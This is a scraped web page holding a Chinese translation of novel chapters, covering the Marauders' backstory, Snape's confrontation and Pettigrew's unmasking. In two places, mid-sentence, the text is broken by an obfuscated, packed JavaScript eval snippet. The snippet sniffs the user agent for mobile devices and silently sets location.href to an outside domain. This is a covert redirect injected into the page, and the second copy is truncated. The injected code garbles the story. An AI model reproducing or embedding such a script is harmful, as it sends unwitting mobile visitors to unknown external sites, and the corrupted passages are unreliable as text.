“他们不能以人的形态和我做伴,于是他们就以动物的形态和我做伴。”卢平说,“狼人只对人有危险。他们每月披着詹姆的隐形衣溜出城堡。他们变形...彼得变成最小的动物,因此可以钻到打人柳打人的枝条下面,去按那能让这棵树静止的节疤。然后他们就滑下地道我我。在他们的影响之下,我变得不那么危险了。我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519438|167802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的躯体还是狼,但和他们在一起的时候,我的心智就不那么像狼了。” “卢平,快一点儿!”布莱克咆哮道。他仍在注视着斑斑,脸上露出一种可怕的渴望。 “就说到了,小天狼星,就说到了...既然我们都能变形了,我们面前就展开了令人极其兴奋的各种可能性。我们很快就离开了尖叫棚屋,在夜间到学校场地和村子里游荡。小天狼星和詹姆变成很大的动物,能够威慑住狼人。我想霍格沃茨没有任何学生能像我们那样了解霍格沃茨的场地和霍格莫德村...因此我们就画了那张活点地图,并且签上了我们的化名。小天狼星是大脚板,彼得是虫尾巴,詹姆是尖头叉子。” “什么样的动物—— ?”哈利开口问,但是赫敏打断了他。 “那仍旧非常危险!黑夜里和一个狼人到处乱跑!要是他一不留神咬了什么人怎么办?” “这种想法现在仍旧让我不得安宁,”卢平沉重地说,“而且是有差点就咬了人的事,有许多次。事后我们就拿这样的事说笑话。当时我们年轻,不懂事,只管为自己的聪明而得意。 “当然,有时我心里有愧,觉得辜负了邓布利多的信任...其他校长没一个肯接受我的时候,他接受了,而且他一点儿也不知道我破坏了守则,这守则是他为了我以及他人的安全而制订的。他一直不知道我领着三个同学非法学成了阿尼马格斯。每次我们坐下来计划下个月的冒险行动时候,我一直想办法忘记这种负罪感,而且我没有变...” 卢平的脸板起来了,声音里带着自我嫌恶。“这一年里,我一直在和自己斗争,拿不定主意要不要告诉邓布利多:小天狼星是阿尼马格斯。但是我没有说。为什么呢?因为我太怯懦。告诉他,就意味着我在学生时代曾经辜负他的信任,意味着承认我还曾带领他人和我在一起...而对于我来说。邓布利多的信任极其重要。我还是孩子的时候,他接受我入学,我成年以后到处碰壁,因为我是狼人而找不到有报酬的工作,他却给了我工作。这样,我就说服了自己,认为小天狼星是利用他从伏地魔那里学来的邪法混进学校的,他成为阿尼马格斯和这毫无关系...所以,在某种意义上,斯内普对我的看法一直是对的。” “斯内普?”布莱克哑着嗓子说,几分钟以来第一次不看斑斑而看卢平,“斯内普和这件事有什么相干?” “他在这里,小天狼星,”卢平沉重地说,“他也在这里教课。”他抬头看了看哈利、罗恩和赫敏。 “斯内普教授在学校里和我们在一起。他曾极力反对任命我当黑魔法防御术课的教师。他一直在告诉邓布利多说我不可信任。他有他的理由...你看,小天狼星曾经对他开过玩笑,差点没送了他的命,那次玩笑和我也有关系...” 布莱克发出表示嘲笑的声音。 “他活该,”他冷笑,“偷偷摸摸地到处张望,想知道我们要干吗..他希望能弄得我们被开除才好...” “西弗勒斯对我每月到哪里去特别感兴趣,”卢平告诉哈利、罗恩和赫敏,“我们同一个年级,你知道。我们——哦——都不大喜欢对方。他特别不喜欢詹姆。 “妒忌,我想是,妒忌詹姆在魁地奇球场上的才能...无论如何,斯内普看见我有一天傍晚和庞弗雷夫人一起穿过场地,她领着我到打人柳那里去变形。小天狼星告诉西弗勒斯:只要用一根长棍碰一下树干上的节疤,就能跟着我进树洞;小天狼星认为这样做——哦——很有趣。唔,斯内普当然就这么试了——如果他走到房子这里,他就会遇到彻头彻尾的狼人——但是你爸爸,他听到小天狼星做的事以后,就跟在斯内普后面,把他拉了回来,他自己也是冒了生命危险的...但是,斯内普看见我了,在地道的尽头。邓布利多不准他告诉任何人,不过,从那时候开始,他知道我是什么了...” “怪不得斯内普不喜欢你,”哈利慢慢地说,“因为他以为你也参加开玩笑了?” “对。”卢平身后墙边一个冷酷的声音说。 西弗勒斯·斯内普拉掉隐形衣,他的魔杖直指卢平。 57.伏地魔的仆人 赫敏尖叫起来。布莱克一跳站了起来。哈利跳了起来,好像猛然触了电。 “我在打人柳树根底下发现了它,”斯内普说,把隐形衣扔到一边,同时仍旧小心不让他的魔杖偏离卢平的胸膛,“很有用,波特。我谢谢你了...” 斯内普稍稍有点儿喘不上气来,但他一脸压不住的胜利感。 “你也许不明白我怎么会知道你在这里?”他说。眼睛发着光,“我刚刚到你的办公室去了,卢平。你今晚忘记吃药了,所以我拿了一大杯过去。幸而我这样做...我意思是说,我很走运。有张地图放在你的桌子上,看一眼,我就明白了我需要明白的一切。我看见你沿着这条过道走,然后就消失了。” “西弗勒斯,你错了,”卢平急切地说,“你没有听到全部内容...我可以解释小天狼星来这里不是要杀哈利...” “今晚又要多两个人去阿兹卡班了,”斯内普说,这时他的眼睛狂热地发亮,“我倒有兴趣看看邓布利多听到这些会怎么样...他相信你是无害的,你知道的,卢平...一个驯服的狼人...” “你这傻瓜,”卢平温和地说,“一个学生水平的投诉,就能把一个无辜的人送到阿兹卡班去吗?” 砰!斯内普的魔杖末端爆发出蛇一样的带子,并且自动缠绕在卢平的嘴、手腕和脚踝上。卢平失去平衡,倒在地板上,不能动了。 布莱克怒吼一声,向斯内普扑去,但是斯内普的魔仗直指布莱克的双眼之间。 “说出理由来,”他低声说,“说出这样做的理由,我发誓我会。” 布莱克一点儿不动了。这时,人们没法判断谁脸上露出的仇恨更深。 哈利站在那里,不知道应该做什么,也不知道应该相信谁。他看看罗恩和赫敏。罗恩像他一样搞不清,只是还在努力抓住不断挣扎的斑斑。然而,赫敏却犹犹豫豫地向斯内普跨出一步,喘不过气似的说:“斯内普教授...听...听听他们非说不可的话,这也没有什么妨碍,是不是?” “格兰杰小姐,你已经面临着暂时停学的危险了,”斯内普吐了一口唾沫。“你、波特和罗恩太不像话了,竟然与证明有罪的谋杀者还有狼人为伍。保持沉默吧。哪怕你这辈子就这一次。” “不过要是...要是以前有过错误...” “住嘴,你这傻丫头!”斯内普大声喝道,突然之间发起狂来。“不要对你不懂的事情妄加议论!” 他的魔杖末端冒出几粒火花,这魔杖仍旧指着布莱克的脸。赫敏不说话了。 “复仇的滋味是很甜蜜的。”斯内普对布莱克说,“我曾经多么希望,抓到你的人就是我啊...” “那次玩笑又在对你起作用了,西弗勒斯,”布莱克咆哮着说,“只要那男孩把斑斑带回城堡...” 他脑袋往罗恩那边一摆。“我就安安静静地跟你走...” “到城堡去?”斯内普奉承讨好地说,“我认为我们不必走那么远。我要做的只是,一走出那棵柳树,就叫来那些摄魂怪。它们看见你会非常高兴的,布莱克...我敢说,会高兴得给你一个小小的吻呢...” 布莱克脸上残存的一点儿血色现在也没有了。 “你——你一定要听我说完,”他嘶哑着嗓子说,“那耗子—— 看那耗子..”但是斯内普眼睛里有一种疯狂的光芒,是哈利以前从来没有见过的。 斯内普好像已经失去理智了。 “来吧,你们大家。”他说。他一弹手指,捆卢平的带子的末端就都飞到了他手里。“我来拖这个狼人。也许摄魂怪也会吻他一下的...” 哈利想也没想就三大步跨过房间,堵住了门。 “让开,波特,你的麻烦已经够多的了,”斯内普咆哮道,“要是我不在这儿救了你...” “卢平教授今年有一百次机会可以杀了我,”哈利说,“我有许多次单独和他在一起,向他学抵抗摄魂怪的方法。如果他是布莱克一伙的,那时他为什么不结果了我?” “别问我狼人的想法。”斯内普声音尖厉地说,“让开,波特。” “你真可怜!”哈利大叫,“只不过因为当学生时他们和你开过玩笑,你就连听他们说话都不...” “住嘴!不准对我这样说话!”斯内普尖叫着,看上去更加疯狂了。“有其父,必有其子。波特!我刚刚救了你的命。你应该跪下来感谢我才是!如果他杀了你,那你是活该!你就会和你爸爸一样地死去吧,太傲慢自大,不相信自己对布莱克看走了眼——现在,让开,要不然我就强迫你让开。让开,波特!” 片刻之间,哈利就下定了决心。斯内普还没有来得及向他跨出一步,他已经举起了魔杖。 “除你武器!”他大叫道——不过这样叫的不止他一个人。一声爆炸,震得那扇门在铰链那儿摇晃起来;斯内普离地而起,擅到墙上,然后又滑到地板上,从头发下面渗出一缕鲜血。 他被打昏了。 哈利四面一看,罗恩和赫敏恰巧都在同一时刻设法解除了斯内普的武装。斯内普的魔杖高高地飞出一个弧形,掉在床上克鲁克山旁边。 “你们不应该这样做,”布莱克看着哈利说,“你们应该让我来对付他...” 哈利躲开布莱克的眼睛,到现在他也不清楚自己做得对不对。 “我们攻击了教师...我们攻击了教师...”赫敏啜泣着说,害怕地看着了无生气的斯内普。 “哦,我们的麻烦大了...”卢平在挣脱束缚。布莱克迅速弯下腰给他解开。卢平伸展了一下四肢,抚摸着带子在双臂上勒出的印痕。 “谢谢你,哈利。”他说。 “我还没说我相信你呢。”哈利回嘴说。 “那么现在正是我们向你们提供一些证据的时候,”布莱克说,“你,孩子,把彼得给我。现在。” 罗恩把斑斑抓得更加靠近了自己的胸膛。 “别动它。”他有气无力地说,“你难道要说,你逃出阿兹卡班只是为了要对斑斑下手吗?我意思是...” 他看看哈利和赫敏,寻求他们的支持。“好吧,就说小矮星彼得会变成了耗子——世界上的耗子成千上万——他关在阿兹卡班,他怎么能知道哪一只耗子是他要找的呢?” “你要知道,小天狼星,这问题提得公平,”卢平说,转向布莱克,略略皱起了眉头,“你怎么发现他在哪里的?” 布莱克把一只鸟爪一样的手伸到了袍子里面,拿出一张皱皱巴巴的纸来。他把纸抚平了,拿给大家看。 那是罗恩一家的照片,去年夏天在《预言家日报》上登过的,罗恩的肩头上就是斑斑。 “你怎么将这张报纸拿到手的?”卢平问布莱克,大吃了一惊。 “福吉,”布莱克说,“去年他到阿兹卡班视察的时候,给了我这张报纸。那就是彼得,在报纸头版上..在那男孩肩头...我立刻就认出他来了...我看见他变形有多少次了?照片下的解说词说,这男孩将回到霍格沃茨上学...到哈利所在的地方...” “上帝啊,”卢平温和地说,看看斑斑,又看看报纸上的照片,再看看斑斑,“它的前爪...” “那又怎么样?”罗恩不管不顾地说。 “它缺一个趾头。”布莱克说。 “当然啦,”卢平低语道,“这么简单...这么聪明...是他自己断掉的吗?” “就在他变形以前,”布莱克说,“我把他逼得没处逃了,他就嚷得整条街都听见了,他说是我背叛了詹姆和莉莉。然后,在我未及诅咒他以前,他就用藏在背后的魔杖炸了整条街,杀死了他周围二十英尺之内的所有人,然后和其他耗子一起逃到阴沟里去了...” “听到了吗,罗恩?”卢平说,“人们找到的彼得的最大一块遗骸,就是他的手指。” “那,斑斑可能和别的耗子或是别的什么东西打过架!它在我们家有好些年了...” “十二年了,对不对?”卢平说,“你从来没想过它怎么能活这么长吗?” “我们...我们一直小心照顾它!”罗恩说。 “不过它现在看上去并不太好呀,是不是?”卢平说,“我猜它自从听说布莱克在逃以来,体重就一直下降...” “它是给那只疯猫吓的!”罗恩说。对克鲁克山点点头,克鲁克山还在床上满足地呜呜叫着。 但这不对呀,哈利忽然想道...斑斑在遇到克鲁克山以前就病恹恹的了...自从罗恩一家从埃及回来...自从布莱克逃走以后... “这只猫没有发疯。”布莱克哑着嗓子说,伸出瘦骨嶙岣的手去抚摸克鲁克山那毛烘烘的脑袋。“它是我遇到过的最聪明的猫。它马上就认出了彼得是什么东西。它遇到我的时候,就知道我不是狗。过了好一阵子它才相信我。最后,我想办法和它沟通,告诉它我想干什么,于是它一直在帮助我...” “你这是什么意思?”赫敏低声问道。 “它想办法把彼得带给我,但是做不到...所以它为我偷了进入格兰芬多塔楼的口令...就我所知,是从一个男生的床头柜上偷来的...” 哈利听到这许多东西之后,他的大脑似乎不胜负担了。很荒唐...不过... “但是彼得听到了风声,知道事情的进展,于是就逃了..这只猫—— 克鲁克山,你们是这么叫的吗?告诉我彼得在床单上留下了血迹..我想他是咬了自己...唔,假装自己死了,这种做法已经成功了一次...” 这些话让哈利脑子清楚起来了。“他为什么要装死呢?”他大怒着说,“因为他知道你会杀死他,就像当年你杀死我父母一样!” “不对,”卢平说,“哈利——” “你现在来是要结果他!” “对,我是这样打算的。”布莱克说,恶狠狠地看着斑斑。 “那我应该让斯内普抓住你!”哈利大叫。 “哈利,”卢平匆忙说,“你还不懂吗?我们一直认为布莱克背叛了你的父母,而彼得追杀布莱克——但实际情况正好相反,你知道吗?彼得背叛了你的妈妈和爸爸,小天狼星追踪彼得——” “那不是真的!”哈利大叫,“他是他们的保密人!你来以前他是这样说的,他说他杀了他们!” 他指着布莱克,布莱克慢慢地摇头,那双凹陷的眼睛突然亮了起来。“哈利...我等于是杀了他们。”他嘶哑着嗓子说,“我说服莉莉和詹姆,在最后一刻把我换成彼得,说服他们利用他充当保密人,而不是我...该怪我,我知道...他们死去的那天晚上,我去看过彼得,确保他安全无恙,但是我到达他躲藏的地方的时候,他已经走了。但是那里没有搏斗的痕迹。我觉得不对头。我害怕起来。我直接就到了你父母住的地方。我看见他们的房子的时候,房子被摧毁了,我还看见了他们的尸体——我就知道彼得一定已经干了什么坏事了,知道我犯下了多大的错误。” 他说不下去了,他回过身子。 “别再说这些事了。”卢平说,卢平的声音坚如钢铁,哈利以前从来没有听过他这样说话。“有一种方法肯定能够证明过去真正发生过什么事。罗恩,把那耗子给我。” “要是我给了你,你会对它怎么样?”罗恩紧张地问卢平。 “强迫他现出原形,”卢平说,“如果它真是耗子,这不会伤害它。”罗恩踌躇了,然后他终于交出了斑斑。 卢平把它拿了过去。斑斑开始不断地尖叫,不断扭动,小小的黑眼睛鼓了出来。 “准备好了吗,小天狼星?”卢平说。 布莱克已经从床上拿起斯内普的魔杖。他走近卢平和那只挣扎不已的耗子,他湿润的眼睛在脸上突然像是燃烧起来了。 “一起吗?”他平静地问。 “我想是的,”卢平说,一手紧握着斑斑,另一手拿着魔杖,“数到三。一——二——三!” 两根魔杖都发出了蓝白色光芒。有一会儿工夫,斑斑悬在半空中,它那黑色的小身体疯狂地扭动着——罗恩大叫起来——那耗子掉了下来,落到地板上。又一阵炫目的闪光,然后——那就像是观察树木生长的快镜头。地上出现了一个脑袋,四肢也伸出来了。再过一会儿,一个男子站在刚才斑斑所在的地方,畏缩地绞着双手。克鲁克山在床上轻蔑地咆哮着,背上的毛都竖了起来。 这人很矮,比哈利和赫敏高不了多少。他那稀薄的淡色头发蓬乱不堪,头顶上还秃了一大块。他的外表就像是一个肥胖的人短时间内体重下降了许多的样子。他的皮肤显得很脏,几乎和斑斑的皮毛差不多,他那尖尖的鼻子和水汪汪的小眼睛还带有耗子的特色。他看着大家,互呼吸急促无力。哈利看到他的眼睛向门那边一溜又赶快收回了。 “噢,你好,彼得,”卢平愉快地说,似乎他身边经常发生耗子变成老同学的事,“好久不见了。” “小——小天狼星...卢——卢平...”小矮星彼得的嗓音也是尖尖的。他的眼睛又迅速往门那边看了看。“我的朋友们——我的老朋友们——” 布莱克拿魔杖的手臂举起来了,但是卢平抓住他的手腕,警告性地看了他一眼。然后卢平又转向小矮星彼得,卢平说话的声音既轻松又随意。 “我们刚才在闲谈,彼得,谈的是莉莉和詹姆死的那天发生了什么事。你刚才在床上一味尖叫,可能有些细节没听到——” “卢平,”小矮星彼得气喘吁吁地说,哈利看见小矮星彼得苍白的脸上迸出大粒汗珠,“你不相信他,是不...那时他想杀我,卢平...” “我们听说了,”卢平说,声音比较冷漠了,“我想找你澄清一两件小事情,彼得,要是你肯——” “他又来这里想杀我了!”小矮星彼得突然指着布莱克尖叫起来,哈利看见他用的是中指,因为他的食指断了。“他杀了莉莉和詹姆,现在他又要杀我...你务必要帮我啊,卢平...” 布莱克那双深不可测的眼睛瞪着小矮星彼得,他的脸比以前更像骷髅了。 “在我们弄清楚几件事情以前,没人想杀你。”卢平说。 “把事情弄清楚?”小矮星彼得尖叫着说,再次仓皇四顾,眼睛注意到了那些钉着木板的窗子,也再次看看那唯一的一扇门。“我知道他在追我!我知道他会回来找我!我等待这件事已经十二年了!” “你知道小天狼星会逃出阿兹卡班吗?”卢平皱着眉头说,“以前不是没有人逃出来过吗?” “他有我们其他人只能想想的黑魔法!”小矮星彼得尖声大叫道,“要不然他怎么能从那里逃出来?我猜想那个连名字都不能提的人曾经教了他一些招数!” 布莱克开始大笑,一种可怕、没有欢乐的大笑充满了整个房间。 “伏地魔,教我招数?” 小矮星彼得畏缩了一下,好像布莱克用鞭子抽了他似的。 “什么?害怕听到你旧主子的名字吗?”布莱克说,“我不怪你,彼得。他手下的那些人可不怎么喜欢你啊,是不是?” “不知道——你在说什么,小天狼星——”小矮星彼得嘟囔道,汗出得更快了,现在整张脸都是汗津津的。 “十二年来,你并不是在躲避我。”布莱克说,“你一直在躲避伏地魔以前的支持者。我在阿兹卡班听说了一些事情呢。彼得...他们都以为你已经死了,要不然你必须给他们一个说法...我听到他们在梦中尖叫,说出各种事情来。听上去他们好像认为你这个骗子骗了他们。伏地魔根据你的情报摸到了波特家...伏地魔在那里失手了。伏地魔的支持者最后并不是全部到了阿兹卡班,是不是?这里还有很多,在等待时机,假装他们已经认识了自己的错误...要是他们得到风声。知道你还活着,彼得...” “不知道...你在说什么...”小矮星彼得又说,声音比以前更尖了。他用袖子擦脸,抬头看卢平,“你不相信这、这个疯子,卢平...” “我必须承认,彼得,我理解不了:一个无辜的人为什么愿意花十二年工夫做耗子。”卢平语气平淡地说。 “无辜,但是吓坏了!”小矮星彼得尖叫,“如果伏地魔的支持者在追我,那是因为我把他们最能干的一个人弄到阿兹卡班去了——那个奸细,小天狼星布莱克!” 布莱克的脸扭曲了。 “你竟敢这样说,”他咆哮道,听上去就像是有熊那么大的狗在咆哮,他以前变的就是这样的狗。“我,伏地魔的奸细?我什么时候在比我强大比我有影响得多的人身边偷偷地转来转去?但是你,彼得——我真不明白我为什么没有一开始就认准你就是那奸细。你一直喜欢比你强大的朋友,好让他们照顾你,是不是?以前一直是我们...我和卢平...还有詹姆...” 小矮星彼得又擦了擦脸上的汗,他的呼吸几乎是上气不接下气了。 “我。奸细...你必定是疯了...从来不...不明白你怎么竟会说这样的...” “只不过由于我的建议,莉莉和詹姆才让你做他们的保密人。”布莱克咬牙切齿地说,说得那么凶狠,小矮星彼得不觉往后退了一步。“我以为那是最完善的计划...是妙计...伏地魔肯定会来追我,永远不会想到他们利用你这样软弱愚笨的东西...你告诉伏地魔说,你可以把波特夫妇交给他,那个时刻必定是你可怜的一生中,最得意的时刻了。” 小矮星彼得心烦意乱地嘟囔着;哈利昕到的话有“荒唐”和“疯狂”,但他忍不住更加注意小矮星彼得了,他此刻面如死灰,而且他的眼睛仍旧不断向窗子和门那边溜。 “卢平教授?”赫敏胆怯地问,“我能——能说几句话吗?” “当然可以,赫敏。”卢平有礼貌地说。 “唔...斑斑...我意思是说,这个——这个人——他在哈利的宿舍里睡了三年。如果他是为神秘人工作的,那他以前怎么从来没有试着去伤害哈利呢?” “说得对!”小矮星彼得尖叫道,用那只残缺不全的手指着赫敏。“谢谢你!明白了。卢平?我从来没有伤害过哈利的一根毛发!我为什么要伤害他呢?” “我来告诉你这是为什么,”布莱克说,“因为,要是你认为对你没好处,你是不会为任何人做任何事的。伏地魔躲起来已经十二年了——据说他已经是半死不活的了。你不会就在邓布利多鼻子底下,为一个已经失去全部法力、身体很糟的巫师而去杀人,对不对?在你回到他手下以前,你必定要拿准了他在圈子里是最有势力的大佬,对不对?要不然你为什么找了个魔法家庭住下?这样你可以时时听到新情况,对不对,彼得?你想知道万一你旧日的保护人又有力量了,回到他那里可保安全了...” 小矮星彼得张开嘴又闭上,这样有好几次,他好像已经丧失了说话能力。 “哦...布莱克先生...小天狼星?”赫敏胆怯地说。 布莱克听见这样的称呼,切切实实地吓了一跳。他瞪眼看着赫敏,好像他早已忘记了这回事:别人会这样有礼貌地对他说话。“要是你不介意我问的话,你...是怎样逃出阿兹卡班的,要是你没有使用黑魔法的话?” “谢谢你!”小矮星彼得喘着气说,对赫敏大点其头,“正是!正是我要问...” 但是卢平看了他一眼,他就沉默了。布莱克对赫敏微微皱眉,但看上去并不气恼。他似乎在考虑怎么回答。 “我不知道自己是怎么做到的,”他慢慢地说。“我想,我没有丧失理智的唯一原因是,我知道自己是无辜的。这不是什么愉快的念头,所以那些摄魂怪没有把它从我脑子里吸出去...这样我就能保持头脑清楚,而且知道自己是什么人...有助于我保存法力...所以,要是周围情况让我忍受不下去,太难忍受了...我可以在囚室里变形...变成一条狗,摄魂怪看不见,你们知道的...” 他咽了口唾沫,“它们意识到人的感情,从而感觉到怎样才能走近人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好像有人在我脑子里点了把火,摄魂怪不能压灭这把火...这不是令人愉快的感觉...这是一种执着...但这念头给了我力量,让我脑子清楚起来。这样,有一天晚上,它们打开我的房门送食物,我,作为一条狗,就从它们身边溜了出去...要它们感觉到动物的感情就比较难,因为动物的感情是混乱的...那时我很瘦,非常瘦...瘦得能从铁橱栏之间钻出去...作为狗,我游泳回到大陆...我向北方走去,作为狗,我来到霍格沃茨...自从我到霍格沃茨以来,我一直住在禁林里...当然,我去看魁地奇比赛的时候除外...你飞得和你爸爸一样好,哈利...” 他看看哈利,哈利的眼睛没有避开。“相信我,”布莱克嘶哑着嗓子说,“相信我。我从来没有背叛过詹姆和莉莉。我宁可死掉,也不会背叛他们。” 哈利最后终于相信他了。哈利喉头哽咽,不能说话,只是点了点头。 “别!”小矮星彼得跪在地上,好像哈利那一点头就宣判了他的死刑一样。他匍匐着膝行而前,双手合十,像是在祷告。“小天狼星....是我..是彼得...你的朋友..你不会..”布莱克举脚一踢,小矮星彼得畏缩着后退了一些。 “不用你来碰。我的袍子已经够脏的了。”布莱克说。 “卢平!”小矮星彼得尖叫道,转向卢平,在卢平面前扭曲着身体哀求。“你不相信这些话...小天狼星难道没有告诉你说,他们的计划改变了吗?” “要是他以为我是奸细,他就不会告诉我,彼得。”卢平说,“我想这就是你没有告诉我的缘故,是不是。小天狼星?” 他在小矮星彼得脑袋上方不经意地问布莱克。 “原谅我,卢平。”布莱克说。 “没事,大脚板,老朋友。”卢平说着卷起了袖子。“反过来,我也曾经认为你是奸细,你也原谅我,好不好?” “当然。”布莱克说,那张瘦削的脸上掠过一丝笑影。他也开始卷起袖子。“我们一起杀死他吗?” “对,我想是这样的。”卢平阴郁地说。 “你们不会.你们不会...”小矮星彼得喘息着说。他在罗恩身边爬行。 “罗恩...我不一直是你的好朋友..好宠物吗?你不会让他们杀了我,是不是...你在我一边,是不是?” 但罗恩极端嫌恶地瞪着小矮星彼得。 “他曾经在我床上睡觉!”罗恩说。 “仁慈的孩子...仁慈的主人...”小矮星彼得向罗恩爬去,“你不会让他们干的...我是你的耗子...我是一个好宠物...” “要是你耗子当得比人好,那也没有什么值得吹嘘的,彼得。”布莱克哑声说。 罗恩抱着他那条断腿躲开了,不让小矮星彼得碰到他,这一来,腿痛弄得他面色更加苍白。小矮星彼得跪着转身,摇晃向前,抓住赫敏袍子的边缘。 “好姑娘...聪明的姑娘...你...你不会让他们...帮帮我...” 赫敏把袍子从小矮星彼得紧抓着的手中拔出来。自己后退到墙根,看上去很害怕。 小矮星彼得跪着,全身不能控制地抖着,慢慢地把脑袋转向哈利。“哈利...哈利...你长得真像你爸...就像他...” “你怎么敢对哈利说话?”布莱克大吼,“你怎么还敢面对他?你怎么竟敢在他面前说到詹姆?” “哈利,”小矮星彼得低语道,拖者脚走向他,双手张开,“哈利,詹姆不会让我被杀的...詹姆会理解的,哈利...他会对我发慈悲的...” 布莱克和卢平都向前走去,抓住小矮星彼得的肩膀。把他扔到地板上。 他坐在那里,抬眼瞪着他们。 “你把莉莉和詹姆出卖给伏地魔,”布莱克说,他也在发抖,“你否认吗?” 小矮星彼得大哭起来。那副样子真可怕:他看上去像特大号的秃头婴儿,在地板上发抖。 “小天狼星,小天狼星,我能怎么做呢?那黑魔头..你不知道..他的武器你想象不到...我当时是害怕了,小天狼星,我一直没有你、卢平,还有詹姆那样勇敢。我从来不是故意那样干的...那个连名字都不能提的人强迫我...” “别说谎!”布莱克咆哮道,“莉莉和詹姆死以前,你就一直在向他传递情报,有一年了!你是他的奸细!” “他...他什么地方都插手!”小矮星彼得喘着气说,“拒绝他,有——有什么好处?” “同有史以来最邪恶的魔头斗争有什么好处?”布莱克说,脸上露出令人恐惧的狂怒。“就是为了拯救无辜的生命,彼得!” “你不懂!”小矮星彼得哀叹,“他会杀了我的,小天狼星!” “那你就是该死!”布莱克吼道。“死了总比背叛朋友强,我们也会为你这样做的!” 布莱克和卢平并肩站着,举起了魔杖。 “你应该明白,”卢平平静地说,“如果伏地魔没有杀死你,我们会杀死你。再会,彼得。” 赫敏双手掩面,转身向墙。 “不!”哈利大叫。他向前跑去,挡在小矮星彼得身前,面对着那两条魔杖。“你们不能杀他,” 他说着,气都喘不过来了,“你们不能。” 布莱克和卢平两人都大为震惊。 “哈利,这个歹徒害得你失去双亲啊,”布莱克咆哮道,“这个卑躬屈膝的肮脏家伙看着你死会毫不动心的。你听到他刚才说的话了,他自己的臭皮囊比你全家的命都重要。” “我明白,”哈利喘着气说,“我们把他带到城堡里去。我们把他交给摄魂怪。他可以到阿兹卡班去...只是别杀掉他。” “哈利!”小矮星彼得喘息着说,两臂去抱哈利的膝盖,“你——谢谢你...这是对我开恩了...谢谢你...” “放开我,”哈利唾弃地说,厌恶地甩开小矮星彼得的手,“我这样做不是为了你。我这样做,因为我认为我爸不会愿意他最好的朋友杀人——特别是杀你这种人。” 除了小矮星彼得以外,没有人动弹,也没有人发出声音。小矮星彼得抓紧自己的胸膛,大口喘着气。布莱克和卢平彼此对望。过了一会儿,他们的魔杖放低了。 “你是唯一有权作出决定的人,哈利,”布莱克说,“但是,想一想...想想他都做了些什么...” “他可以到阿兹卡班去,”哈利又说,“如果有谁该去那里,那就是他...” 小矮星彼得仍然在他身后大口喘气。 “很好,”卢平说,“站开,哈利。” 哈利踌躇了。 “我要把他捆起来,”卢平说,没有别的意思。我发誓。” 哈利让开了。这次是卢平的魔杖上射出了带子。不一会儿,小矮星彼得就被捆了起来,嘴里也塞上了东西,在地板上扭动着。 “不过要是你变形,彼得,”布莱克咆哮道,他自己的魔杖也指着小矮星彼得,“我们就杀了你。你同意吗,哈利?” 哈利低头看着地板上那可怜的东西,点了点头,让小矮星彼得也能看见。 “好,”卢平说,忽然就事论事起来,“罗恩,我接骨的本事不如庞弗雷夫人,所以我想,最好的办法是我们先把你的腿用带子捆扎起来,然后送你到校医院去。” 他忙走到罗恩身边,弯下腰,用魔杖轻触罗恩的腿,喃喃说道:“夹板紧扎。” 绷带跳到罗恩腿上,把腿紧紧包扎好,固定在薄木条上,卢平扶着他站起来。罗恩战战兢兢地把身体重量都放到了一条腿上,没有畏缩。 “这样就好些了,”他说,“谢谢。” “斯内普教授怎么办?”赫敏小声问,低头看着斯内普那俯伏着的身体。 “他没什么大事儿。”卢平说,弯下腰,摸着斯内普的脉,“他只是有一点...受到刺激罢了。他仍旧昏迷着。哦...也许最好的做法是等我们平安到达城堡以后再让他醒过来。我们可以这样带着他...” 他咕哝道:“移形幻影。”好像有无形的绳子缚在斯内普的手腕、脖子和膝盖上,他被拉为站立姿态,仍旧令人不愉快地垂着头。像个奇形怪状的木偶。他双脚离地几英寸,脚软软地搭拉着。卢平拾起那件隐形衣,把它妥当地放到自己的衣袋里。 “我们之中的两个人应该和这个东西拴在一起,”布莱克说,用大脚趾碰了碰小矮星彼得,“以防万一。” “我来。”卢平说。 “还有我。”罗恩狂怒着说,一跛一拐地走向前。 布莱克从稀薄的空气里召唤来沉重的手铐,小矮星彼得很快就又站直了,左臂铐在卢平右臂上,右臂在罗恩的左臂上。罗恩的脸板着,他似乎把斑斑的真实身份当作对他个人的侮辱。克鲁克山从床上轻捡地跳下来,领头出了房间,那瓶刷似的尾巴洋洋得意地翘得老高。 58.摄魂怪的吻 哈利从来没像现在这样,和一群古怪的人待在一起。克鲁克山领头下了楼梯,卢平、小矮星彼得和罗恩跟在它后面,看上去像是六条腿赛跑中的参赛者。他们后面是斯内普教授,由他自己的魔杖支撑着——魔杖拿在小天狼星手里,指着他,让他令人毛骨悚然地飘浮着行走。下楼时脚趾撞击着每层梯级。哈利和赫敏跟在最后。 回到地道里很困难。卢平、小矮星彼得和罗恩不得不侧过身来行走,卢平仍旧用魔杖指着小矮星彼得。哈利可以看到他们沿着地道排成单行狼狈地前进。克鲁克山仍旧打头。哈利紧跟着布莱克,布莱克仍旧让斯内普在他们前面飘浮着走。斯内普那东倒西歪的脑袋不时撞击着地道低矮的顶部。哈利觉得布莱克是故意不去阻止的。 “你知道这意味着什么吗?”布莱克突然问哈利,这时他们在地道里慢慢地前进着,“把小矮星彼得交进去?” “你自由了。”哈利说。 “对...”小天狼星说,“不过我也——我不知道有没有人告诉过你——我是你的教父。” “是,我知道。”哈利说。 “好吧...你的双亲指派我当你的监护人。”布莱克呆板地说,”如果他们遭遇不幸的话...” 哈利等他说下去。布莱克的意思是他心里猜想的那意思吗? “当然啦。如果你愿意和你的姨妈、姨父一起住下去,我会理解的。”布莱克说,“不过...唔...想一想吧。一旦我恢复了名誉...要是你想要一个...一个不同的家...” 似乎有什么在哈利的胃里炸开了。 “什么——和你一起生活吗?”他说,不知不觉间,脑袋撞到地道顶部的一块突出来的石头上。“离开德思礼家吗?” “当然,我想你不会愿意的,”布莱克迅速地说,“我理解,我只是想我愿...” 